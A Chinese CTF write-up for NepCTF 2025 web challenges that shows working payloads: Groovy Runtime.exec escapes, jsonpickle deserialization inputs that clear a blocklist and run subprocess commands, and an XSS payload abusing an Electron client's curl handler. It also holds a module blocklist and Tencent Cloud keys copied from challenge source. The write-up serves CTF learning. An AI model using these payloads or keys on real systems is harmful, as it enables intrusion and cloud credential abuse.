NepCTF2025 Web Wp&复现

Groovy & RevengeGroovy

测试可知java.io.File,execute()等被禁用,但是exec()还可以

对java.lang.[]进行测试,发现大部分都被禁止了,剩下java.lang.Math不会爆startup failed

一直问AI倒是可以出来,原本看了篇文章用了好久的AST断言,发现只会返回类名无法回显

1
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("env").getText()

然后发现Revenge一样可以用

JavaSeri

登入进去发现是shiro,自然想到shiro550反序列化漏洞,查看环境变量即可(Revenge怎么没了)

safe_bank

进来先注册一个账号登入看看

发现是普通用户,抓包看看

发现一段base64编码

1
{"py/object": "__main__.Session", "meta": {"user": "1234", "ts": 1753705520}}

不妨把user改成admin之后再编码上传

再上传,发现成功取得权限

诶诶,然后保险箱是假的flag,这好像也不是那么意外()

回到主页,看一下/about,这里的Base64编码用于Token传输大概率是利用不了了,可以注意到:使用jsonpickle的高级会话管理,网上直接搜jsonpickle漏洞就能看到以下文章

从源码看JsonPickle反序列化利用与绕WAF-先知社区

里面的payload结构跟上面base64的结构相似,看起来可以尝试构造

构造如下:

1
2
3
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargs": ["/*"]}, "ts": 1753705520}}

//eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogeyJweS9vYmplY3QiOiAiZ2xvYi5nbG9iIiwgInB5L25ld2FyZ3MiOiBbIi8qIl19LCAidHMiOiAxNzUzNzA1NTIwfX0=

再按照文章里进行读文件:

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargs": ["/readflag"]}, "ts": 1753705520}}

好吧,被拦截了,那就先看一下源码:

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargs": ["/app/app.py"]}, "ts": 1753705520}}

成功查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
def __init__(self, uid, pwd):
self.uid = uid
self.pwd = pwd

class Session:
def __init__(self, meta):
self.meta = meta

users_db = [
Account("admin", os.urandom(16).hex()),
Account("guest", "guest")
]

def register_user(username, password):
for acc in users_db:
if acc.uid == username:
return False
users_db.append(Account(username, password))
return True

FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
'__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized):
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except:
return "error"

@app.route('/')
def root():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')

if not username or not password or not confirm_password:
return render_template('register.html', error="所有字段都是必填的。")

if password != confirm_password:
return render_template('register.html', error="密码不匹配。")

if len(username) < 4 or len(password) < 6:
return render_template('register.html', error="用户名至少需要4个字符,密码至少需要6个字符。")

if register_user(username, password):
return render_template('index.html', message="注册成功!请登录。")
else:
return render_template('register.html', error="用户名已存在。")

return render_template('register.html')

@app.post('/auth')
def auth():
u = request.form.get("u")
p = request.form.get("p")
for acc in users_db:
if acc.uid == u and acc.pwd == p:
sess_data = Session({'user': u, 'ts': int(time.time())})
token_raw = jsonpickle.encode(sess_data)
b64_token = base64.b64encode(token_raw.encode()).decode()
resp = make_response("登录成功。")
resp.set_cookie("authz", b64_token)
resp.status_code = 302
resp.headers['Location'] = '/panel'
return resp
return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root', error="缺少Token。"))

try:
decoded = base64.b64decode(token.encode()).decode()
except:
return render_template('error.html', error="Token格式错误。")

ban = waf(decoded)
if waf(decoded):
return render_template('error.html', error=f"请不要黑客攻击!{ban}")

try:
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('user_panel.html', username=meta.get('user'))

return render_template('admin_panel.html')
except Exception as e:
return render_template('error.html', error=f"数据解码失败。")

@app.route('/vault')
def vault():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root'))

try:
decoded = base64.b64decode(token.encode()).decode()
if waf(decoded):
return render_template('error.html', error="请不要尝试黑客攻击!")
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")

flag = "NepCTF{fake_flag_this_is_not_the_real_one}"

return render_template('vault.html', flag=flag)
except:
return redirect(url_for('root'))

@app.route('/about')
def about():
return render_template('about.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

看到禁止函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def waf(serialized):
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except:
return "error"

FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
'__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

可以看到这边几乎把编码绕过给限制死了,但想尝试CHR构造

1
2
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)

尝试:

1
2
3
4
5
6
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "exceptions.exec", "py/newargs": [""".join([chr(i) for i in [95,95,105,109,112,111,114,116,95,95,40,34,111,115,34,41,46,115,121,115,116,101,109,40,34,99,97,116,32,47,114,101,97,100,102,108,97,103,32,62,32,47,97,112,112,47,49,46,116,120,116,34,41]])"]}, "ts": 1753705520}}


//"".join([chr(i) for i in [95,95,105,109,112,111,114,116,95,95,40,34,111,115,34,41,46,115,121,115,116,101,109,40,34,99,97,116,32,47,114,101,97,100,102,108,97,103,32,62,32,47,97,112,112,47,49,46,116,120,116,34,41]]) //__import__("os").system("cat /readflag > /app/1.txt")

//eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogeyJweS9vYmplY3QiOiAiZXhjZXB0aW9ucy5leGVjIiwgInB5L25ld2FyZ3MiOiBbIiIiLmpvaW4oW2NocihpKSBmb3IgaSBpbiBbOTUsOTUsMTA1LDEwOSwxMTIsMTExLDExNCwxMTYsOTUsOTUsNDAsMzQsMTExLDExNSwzNCw0MSw0NiwxMTUsMTIxLDExNSwxMTYsMTAxLDEwOSw0MCwzNCw5OSw5NywxMTYsMzIsNDcsMTE0LDEwMSw5NywxMDAsMTAyLDEwOCw5NywxMDMsMzIsNjIsMzIsNDcsOTcsMTEyLDExMiw0Nyw0OSw0NiwxMTYsMTIwLDExNiwzNCw0MV1dKSJdfSwgInRzIjogMTc1MzcwNTUyMH19

诶诶,遗憾离场


看了看偶像LamentXU的Wp

用了删除黑名单的方式(神)

用了list对象的clear()方法

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753705520}}

通过调用FORBIDDENclear(),来达到把FORBIDDEN中过滤的函数给清空的效果

这样的话就简单了

1
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["/readflag"]},"ts":1753705520}}

fakeXSS

一编:electron框架又是什么,腾讯云COS又是什么,待我修炼一番再来

二编:

下方可以下载客户端,下载后看图标可知是Electron框架,然后用WinASAR解压

main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const { exec } = require('child_process');

let mainWindow = null;

function createWindow() {
mainWindow = new BrowserWindow({
width: 1600,
height: 1200,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
contextIsolation: true,
}
});

// 默认加载本地输入页面
mainWindow.loadFile('index.html');
}

app.whenReady().then(createWindow);

// 接收用户输入的地址并加载它
ipcMain.handle('load-remote-url', async (event, url) => {

if (mainWindow) {
mainWindow.loadURL(url);
}
});

ipcMain.handle('curl', async (event, url) => {
return new Promise((resolve) => {

const cmd = `curl -L "${url}"`;

exec(cmd, (error, stdout, stderr) => {
if (error) {
return resolve({ success: false, error: error.message });
}
resolve({ success: true, data: stdout });
});
});
});

最下面的,可以拼入URL,直接进行RCE,先放在一边

1
const cmd = `curl -L "${url}"`;

然后进去是个登陆界面,先注册登入看看,进去之后有个上传头像,分别抓包保存、刷新、上传,发现上传头像回显

Token

通过base64解码auth可发现这是腾讯云COS

1
"{\"version\":\"2.0\",\"statement\":[{\"effect\":\"allow\",\"action\":[\"cos:PutObject\"],\"resource\":[\"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/picture/dccedea5-1d8d-4b5f-9e09-84aacc6dd937.png\"],\"Condition\":{\"numeric_equal\":{\"cos:request-count\":5},\"numeric_less_than_equal\":{\"cos:content-length\":10485760}}},{\"effect\":\"allow\",\"action\":[\"cos:GetBucket\"],\"resource\":[\"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*\"]}]}"

(这个Token如果提示你失效了就重新发送一遍获得新的token即可)

借用nepctf 2025 web wp - LamentXU - 博客园的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import logging
import os

# 配置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# 临时凭证信息
credentials = {
"Token":"0R0XmxDL49yif79c9rRXnLYM1vbjR2Da318a4326b0c7bff4f56344465fad714fAQdoKSmkHKYvZE-x_Wbj-97Byfy-t71IHYouklLnn5srbzYXPBmrWGZAnhrJhpkX3_QSIRmhZlEgfOdp4Bdx0kg9UCQecE_sxP1M4P3_uvO7AQV_i20R-AOaegFgNQw6E7zFFi8poid0R5bIoSmSGc0HKExRebMmIhVjK1NSSjV8pBnYkslUFiT91jsFUXvdAw5EGv_gQ8I2O_jm7o3hOHnvJyFGUhoGOZewNeCUtYVdf__5hAHoz8Q-F30IfvfYb4CQlL6LSUcvlmNZ-Jj7TGBMJhyvkEU3jAJNWgo4iC742Vj1rY_tBqXYJ2DAEJK6xv2vFDkxmJ9ftUO7OUZWdMicYMCyFNJu7KqtTsfPKySxKV-fIFDZv64NrgPm9jmnrfgKm1XK_CV0kI-qOnTvDeKA3WbE94P9XTm-s8N1jMeFMYVsYfKYQsIaR01eTD8XIAf8KcTg6GfyvkA6ewB4vA","TmpSecretId":"AKID3-CdtXjCLfIJo_vlvaTkVFB5gRGUDY3fN8aHQUi1I0CS7BwUnR2-U3pdMtIwhleu","TmpSecretKey":"kBMjDi2LGlrVRdf0QOf8kNjgme+k3vshE0FGPHPLhlA=",
}

# 存储桶配置
bucket_name = 'test-1360802834'
region = 'ap-guangzhou'

# 配置COS客户端
config = CosConfig(
Region=region,
SecretId=credentials["TmpSecretId"],
SecretKey=credentials["TmpSecretKey"],
Token=credentials["Token"]
)

# 初始化客户端
client = CosS3Client(config)

def list_files_for_download():
"""列出可供下载的文件"""
try:
print(f"\n正在列出存储桶 {bucket_name} 中的文件...")
marker = ""
file_list = []

while True:
response = client.list_objects(
Bucket=bucket_name,
MaxKeys=100,
Marker=marker
)

if 'Contents' in response:
for obj in response['Contents']:
if not obj['Key'].endswith('/'): # 排除目录
file_list.append(obj['Key'])
print(f"{len(file_list)}. {obj['Key']} (大小: {obj['Size']} bytes)")

if response.get('IsTruncated', 'false') == 'false':
break

marker = response.get('NextMarker', '')

return file_list

except Exception as e:
print(f"列出文件时出错: {str(e)}")
return []

def download_file(cos_key, local_path=None):
"""
下载文件
:param cos_key: COS上的文件路径
:param local_path: 本地保存路径(可选)
"""
try:
if local_path is None:
# 如果没有指定本地路径,使用文件名作为默认路径
local_path = os.path.basename(cos_key)
print(local_path)
# 创建目录(如果需要)
# os.makedirs(os.path.dirname(local_path), exist_ok=True)

print(f"\n正在下载 {cos_key}{local_path}...")
print(cos_key)
# 执行下载
response = client.download_file(
Bucket=bucket_name,
Key=cos_key,
DestFilePath=local_path
)
print(response)
print(f"下载成功! 文件保存到: {os.path.abspath(local_path)}")
return True

except Exception as e:
raise

def download_file_with_progress(cos_key, local_path=None):
"""
带进度显示的下载文件
:param cos_key: COS上的文件路径
:param local_path: 本地保存路径(可选)
"""
try:
if local_path is None:
local_path = os.path.basename(cos_key)

print(f"\n正在下载 {cos_key}{local_path}...")

# 获取文件大小用于显示进度
head_response = client.head_object(
Bucket=bucket_name,
Key=cos_key
)
total_size = int(head_response['Content-Length'])

# 回调函数显示进度
def progress_callback(consumed_bytes, total_bytes):
percent = int(100 * (consumed_bytes / total_bytes))
print(f"\r下载进度: {percent}% ({consumed_bytes}/{total_bytes} bytes)", end='', flush=True)

# 执行下载
response = client.download_file(
Bucket=bucket_name,
Key=cos_key,
DestFilePath=local_path,
PartSize=10*1024*1024, # 分块大小(10MB)
MAXThread=5, # 并发线程数
ProgressCallback=progress_callback
)

print("\n下载完成!")
return True

except Exception as e:
print(f"\n下载文件 {cos_key} 时出错: {str(e)}")
return False

if __name__ == "__main__":
print("===== 腾讯云 COS 文件下载工具 =====")
print(f"使用临时密钥访问存储桶: {bucket_name}")

# 列出文件供选择
files = list_files_for_download()

if not files:
print("\n存储桶中没有可供下载的文件")
else:
# 让用户选择要下载的文件
try:
selection = input("\n请输入要下载的文件编号(输入0退出): ")
if selection == '0':
exit()

selection = int(selection) - 1
if 0 <= selection < len(files):
selected_file = files[selection]

# 获取本地保存路径
default_name = os.path.basename(selected_file)
local_path = input(f"输入本地保存路径(默认: {default_name}): ") or default_name

# 选择下载方式
print("\n选择下载方式:")
print("1. 普通下载")
print("2. 带进度显示的分块下载(适合大文件)")
method = input("请输入选项(默认1): ") or '1'

if method == '1':
download_file(selected_file, local_path)
else:
download_file_with_progress(selected_file, local_path)
else:
print("输入无效,请选择正确的文件编号")
except ValueError:
print("请输入有效的数字编号")

print("\n程序执行完毕")

可以跑出一共有多少文件可以被下载

然后选择下载server_bak.js,这里的flag.txt是假的

然后你会发现报错,但是往上看运行信息的时候你能看到一串链接,访问即可下载

server_bak.js(就是最开始登入界面的源码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const tencentcloud = require("tencentcloud-sdk-nodejs");
const path = require('path');
const fs = require('fs');
const { v4: uuidv4 } = require('uuid');
const { execFile } = require('child_process');
const he = require('he');


const app = express();
const PORT = 3000;

app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});

// 配置会话
app.use(session({
secret: 'ctf-secret-key_023dfpi0e8hq',
resave: false,
saveUninitialized: true,
cookie: { secure: false , httpOnly: false}
}));

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));

// 用户数据库
const users = {'admin': { password: 'nepn3pctf-game2025', role: 'admin', uuid: uuidv4(), bio: '' }};
// 存储登录页面背景图片 URL
let loginBgUrl = '';

// STS 客户端配置
const StsClient = tencentcloud.sts.v20180813.Client;
const clientConfig = {
credential: {
secretId: "AKIDRaszDXeZJin6JHbjeOjLQL3Yp4EAvR",
secretKey: "NXUDi2B7rONBU8IF4pZ9d9AndjSzKRN6",
},
region: "ap-guangzhou",
profile: {
httpProfile: {
endpoint: "sts.tencentcloudapi.com",
},
},
};
const client = new StsClient(clientConfig);

// 注册接口
app.post('/api/register', (req, res) => {
const { username, password } = req.body;
if (users[username]) {
return res.status(409).json({ success: false, message: '用户名已存在' });
}
const uuid = uuidv4();
users[username] = { password, role: 'user', uuid, bio: '' };
res.json({ success: true, message: '注册成功' });
});

// 登录页面
app.get('/', (req, res) => {
let loginHtml = fs.readFileSync(path.join(__dirname, 'public', 'login.html'), 'utf8');
if (loginBgUrl) {
const key = loginBgUrl.replace('/uploads/', 'uploads/');
const fileUrl = `http://ctf.mudongmudong.com/${key}`;

const iframeHtml = `<iframe id="backgroundframe" src="${fileUrl}" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>`;
loginHtml = loginHtml.replace('</body>', `${iframeHtml}</body>`);
}
res.send(loginHtml);
});



// 登录接口
app.post('/api/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];

if (user && user.password === password) {
req.session.user = { username, role: user.role, uuid: user.uuid };
res.json({ success: true, role: user.role });
} else {
res.status(401).json({ success: false, message: '认证失败' });
}
});

// 检查用户是否已登录
function ensureAuthenticated(req, res, next) {
if (req.session.user) {
next();
} else {
res.status(401).json({ success: false, message: '请先登录' });
}
}

// 获取用户信息
app.get('/api/user', ensureAuthenticated, (req, res) => {
const user = users[req.session.user.username];
res.json({ username: req.session.user.username, role: req.session.user.role, uuid: req.session.user.uuid, bio: user.bio });
});

// 获取头像临时密钥
app.get('/api/avatar-credentials', ensureAuthenticated, async (req, res) => {
const params = {
Policy: JSON.stringify({
version: "2.0",
statement: [
{
effect: "allow",
action: ["cos:PutObject"],
resource: [
`qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/picture/${req.session.user.uuid}.png`
],
Condition: {
numeric_equal: {
"cos:request-count": 5
},
numeric_less_than_equal: {
"cos:content-length": 10485760 // 10MB 大小限制
}
}
},
{
effect: "allow",
action: ["cos:GetBucket"],
resource: [
"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
]
}
]
}),
DurationSeconds: 1800,
Name: "avatar-upload-client"
};

try {
const response = await client.GetFederationToken(params);
const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
res.json({ ...response.Credentials, auth });
} catch (err) {
console.error("获取头像临时密钥失败:", err);
res.status(500).json({ error: '获取临时密钥失败' });
}
});

// 获取文件上传临时密钥(管理员)
app.get('/api/file-credentials', ensureAuthenticated, async (req, res) => {
if (req.session.user.role !== 'admin') {
return res.status(403).json({ error: '权限不足' });
}

const params = {
Policy: JSON.stringify({
version: "2.0",
statement: [
{
effect: "allow",
action: ["cos:PutObject"],
resource: [
`qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/uploads/${req.session.user.uuid}/*`
],
Condition: {
numeric_equal: {
"cos:request-count": 5
},
numeric_less_than_equal: {
"cos:content-length": 10485760
}
}
},
{
effect: "allow",
action: ["cos:GetBucket"],
resource: [
"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
]
}
]
}),
DurationSeconds: 1800,
Name: "file-upload-client"
};

try {
const response = await client.GetFederationToken(params);
const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
res.json({ ...response.Credentials, auth });
} catch (err) {
console.error("获取文件临时密钥失败:", err);
res.status(500).json({ error: '获取临时密钥失败' });
}
});

// 保存个人简介(做好 XSS 防护)
app.post('/api/save-bio', ensureAuthenticated, (req, res) => {
const { bio } = req.body;
const sanitizedBio = he.encode(bio);
const user = users[req.session.user.username];
user.bio = sanitizedBio;
res.json({ success: true, message: '个人简介保存成功' });
});

// 退出登录
app.post('/api/logout', ensureAuthenticated, (req, res) => {
req.session.destroy();
res.json({ success: true });
});

// 设置登录页面背景
app.post('/api/set-login-bg', ensureAuthenticated, async (req, res) => {
if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}
const { key } = req.body;
bgURL = key;
try {
const fileUrl = `http://ctf.mudongmudong.com/${bgURL}`;
const response = await fetch(fileUrl);
if (response.ok) {
const content = response.text();
} else {
console.error('获取文件失败:', response.statusText);
return res.status(400).json({ success: false, message: '获取文件内容失败' });
}
} catch (error) {
return res.status(400).json({ success: false, message: '打开文件失败' });
}
loginBgUrl = key;
res.json({ success: true, message: '背景设置成功' });
});



app.get('/api/bot', ensureAuthenticated, (req, res) => {

if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}

const scriptPath = path.join(__dirname, 'bot_visit');

// bot 将会使用客户端软件访问 http://127.0.1:3000/ ,但是bot可不会带着他的秘密去访问哦

execFile(scriptPath, ['--no-sandbox'], (error, stdout, stderr) => {
if (error) {
console.error(`bot visit fail: ${error.message}`);
return res.status(500).json({ success: false, message: 'bot visit failed' });
}

console.log(`bot visit success:\n${stdout}`);
res.json({ success: true, message: 'bot visit success' });
});
});

// 下载客户端软件
app.get('/downloadClient', (req, res) => {
const filePath = path.join(__dirname, 'client_setup.zip');

if (!fs.existsSync(filePath)) {
return res.status(404).json({ success: false, message: '客户端文件不存在' });
}

res.download(filePath, 'client_setup.zip', (err) => {
if (err) {
console.error('client download error: ', err);
return res.status(500).json({ success: false, message: '下载失败' });
} else {
}
});
});

// 启动服务器
app.listen(PORT, () => {
console.log(`服务器运行在端口 ${PORT}`);
});

从这一段可以看出密码:(nepn3pctf-game2025)

1
2
// 用户数据库
const users = {'admin': { password: 'nepn3pctf-game2025', role: 'admin', uuid: uuidv4(), bio: '' }};

再看根目录:

1
2
3
4
5
6
7
8
9
10
11
12
// 登录页面
app.get('/', (req, res) => {
let loginHtml = fs.readFileSync(path.join(__dirname, 'public', 'login.html'), 'utf8');
if (loginBgUrl) {
const key = loginBgUrl.replace('/uploads/', 'uploads/');
const fileUrl = `http://ctf.mudongmudong.com/${key}`;

const iframeHtml = `<iframe id="backgroundframe" src="${fileUrl}" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>`;
loginHtml = loginHtml.replace('</body>', `${iframeHtml}</body>`);
}
res.send(loginHtml);
});

发现可以直接拼接 fileurl 进去,再看他设置背景的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 设置登录页面背景
app.post('/api/set-login-bg', ensureAuthenticated, async (req, res) => {
if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}
const { key } = req.body;
bgURL = key;
try {
const fileUrl = `http://ctf.mudongmudong.com/${bgURL}`;
const response = await fetch(fileUrl);
if (response.ok) {
const content = response.text();
} else {
console.error('获取文件失败:', response.statusText);
return res.status(400).json({ success: false, message: '获取文件内容失败' });
}
} catch (error) {
return res.status(400).json({ success: false, message: '打开文件失败' });
}
loginBgUrl = key;
res.json({ success: true, message: '背景设置成功' });
});

简单验证是否上传成功,再下面有个bot:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.get('/api/bot', ensureAuthenticated, (req, res) => {

if (req.session.user.role !== 'admin') {
return res.status(403).json({ success: false, message: '权限不足' });
}

const scriptPath = path.join(__dirname, 'bot_visit');

// bot 将会使用客户端软件访问 http://127.0.1:3000/ ,但是bot可不会带着他的秘密去访问哦

execFile(scriptPath, ['--no-sandbox'], (error, stdout, stderr) => {
if (error) {
console.error(`bot visit fail: ${error.message}`);
return res.status(500).json({ success: false, message: 'bot visit failed' });
}

console.log(`bot visit success:\n${stdout}`);
res.json({ success: true, message: 'bot visit success' });
});
});

告诉我们需要用admin的权限,且bot不会带上admin的身份,所以我们需要把admin的cookie传给bot,这样

下方可以下载客户端,下载后看图标可知是Electron框架,然后用WinASAR解压

main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const { exec } = require('child_process');

let mainWindow = null;

function createWindow() {
mainWindow = new BrowserWindow({
width: 1600,
height: 1200,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
contextIsolation: true,
}
});

// 默认加载本地输入页面
mainWindow.loadFile('index.html');
}

app.whenReady().then(createWindow);

// 接收用户输入的地址并加载它
ipcMain.handle('load-remote-url', async (event, url) => {

if (mainWindow) {
mainWindow.loadURL(url);
}
});

ipcMain.handle('curl', async (event, url) => {
return new Promise((resolve) => {

const cmd = `curl -L "${url}"`;

exec(cmd, (error, stdout, stderr) => {
if (error) {
return resolve({ success: false, error: error.message });
}
resolve({ success: true, data: stdout });
});
});
});

后利用 window.electronAPI.curl 拿出 flag 内容并通过保存个人简介接口将 flag 写入到账号 admin 的简介中

Payload:

1
{"key":"x\" onload=\"document.cookie='connect.sid=s%3AqIRfC1AVwefcNWF6E7RWSJmeKUy7GHEx.S7ggxMeEcMGSz2rFDxT07%2BZ7%2B52ZRWDKGxCY%2Bo6g4lE';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""}

然后GET访问/api/bot

再访问GET/api/user

我难道不是sql注入天才吗